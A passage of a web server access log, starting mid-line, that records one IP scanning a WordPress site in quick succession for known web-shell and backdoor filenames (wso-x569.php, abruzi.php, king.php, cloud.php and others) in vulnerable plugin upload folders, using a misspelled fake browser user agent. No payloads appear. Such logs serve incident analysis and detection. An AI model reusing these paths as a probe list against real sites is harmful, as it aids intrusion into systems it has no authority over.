Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:49 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:49 +0530] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:50 +0530] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:50 +0530] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:51 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:52 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:52 +0530] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 302 278 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:53 +0530] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:53 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 302 279 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:54 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 302 276 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:55 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 302 275 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:55 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 302 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:56 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:57 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 302 317 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:57 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 302 315 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:58 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 302 320 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:59 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 302 323 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:02:59 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 302 319 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:00 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 302 289 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:01 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:01 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 302 288 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:02 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 302 284 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:02 +0530] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 302 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:03 +0530] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:03 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 302 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:04 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:04 +0530] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:05 +0530] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 302 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:06 +0530] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:06 +0530] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 302 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:07 +0530] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:07 +0530] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:08 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:08 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:09 +0530] "GET /abruzi.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:10 +0530] "GET /abruzi.php4 HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:10 +0530] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:11 +0530] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:11 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:12 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:13 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:13 +0530] "GET /king.php HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:14 +0530] "GET /a57bze8931.php HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:14 +0530] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:15 +0530] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:16 +0530] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 302 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:16 +0530] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:17 +0530] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 302 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:18 +0530] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:18 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/a57bze8931.php HTTP/1.1" 302 292 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:19 +0530] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a57bze8931.php HTTP/1.1" 302 289 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:20 +0530] "GET /wp-content/plugins/cherry-plugin/admin/import-export/a57bze8931.php HTTP/1.1" 302 287 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:03:20 +0530] "GET /wp-content/plugins/apikey/a57bze8931.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:04:28 +0530] "GET /xleet.php HTTP/1.1" 302 229 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:04:34 +0530] "GET /xl2023.php HTTP/1.1" 302 230 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:04:39 +0530] "GET /xl2023x.php HTTP/1.1" 302 231 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:04:44 +0530] "GET /xxl.php HTTP/1.1" 302 227 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:04:51 +0530] "GET /x.php HTTP/1.1" 302 225 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:52 +0530] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:52 +0530] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:53 +0530] "GET /wp-admin/network/cloud.php HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:54 +0530] "GET /cloud.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:55 +0530] "GET /cgi-bin/cloud.php HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:56 +0530] "GET /css/cloud.php HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:57 +0530] "GET /wp-admin/user/cloud.php HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:57 +0530] "GET /img/cloud.php HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:58 +0530] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:59 +0530] "GET /wp-admin/images/cloud.php HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:09:59 +0530] "GET /images/cloud.php HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:00 +0530] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:01 +0530] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:01 +0530] "GET /wp-admin/includes/cloud.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:02 +0530] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:03 +0530] "GET /wp-admin/cloud.php HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:04 +0530] "GET /wp-login.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:04 +0530] "GET /wp-cron.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:05 +0530] "GET /wp-admin/about.php HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:06 +0530] "GET /revision.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:07 +0530] "GET /max.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:07 +0530] "GET /wso-x569.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:08 +0530] "GET /fm1.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:09 +0530] "GET /4price3.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:09 +0530] "GET /ioxi-rex.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:10 +0530] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:11 +0530] "GET /ioxi2.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:11 +0530] "GET /wp-includes/js/js.php HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 